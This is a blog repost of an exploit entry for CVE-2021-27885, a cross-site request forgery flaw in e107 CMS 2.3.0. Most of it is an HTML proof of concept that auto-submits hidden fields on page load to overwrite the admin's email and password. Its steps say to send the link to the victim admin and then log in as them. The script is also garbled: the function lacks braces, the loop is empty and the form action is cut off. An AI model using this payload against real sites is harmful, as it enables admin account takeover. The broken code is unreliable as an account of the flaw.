Thursday, March 4, 2021

e107 CMS 2.3.0 Cross Site Request Forgery

# Exploit Title: e107 CMS 2.3.0 - CSRF
# Date: 04/03/2021
# Exploit Author: Tadjmen
# Vendor Homepage:
# Software Link:
# Version: 2.3.0
# Tested on: Windows 10
# CVE : CVE-2021-27885

CSRF vulnerability on e107 CMS

## Bug Description
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.

## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF login POC using the following code.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<title>Cross Site Request Forgery (Edit Existing Admin details)</title>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
var count = 2;
var i=0;

for(i=0; i<count; i++)


<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="

<input type="hidden" name="loginname" value="admin"/>
<input type="hidden" name="email" value="[email]"/>
<input type="hidden" name="password1" value="[password]"/>
<input type="hidden" name="password2" value="[password]"/>
<input type="hidden" name="hideemail" value="1"/>
<input type="hidden" name="image" value=""/>
<input type="hidden" name="signature" value=""/>
<input type="hidden" name="updatesettings" value="Save settings"/>
<input type="hidden" name="_uid" value="2"/>



2. Replace the email and password with the valid credentials.
3. Send the link script to the victim (admin) to make them click.
4. Login with new admin password

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Thanks for everything Templateism - You should have written the code a little more complicated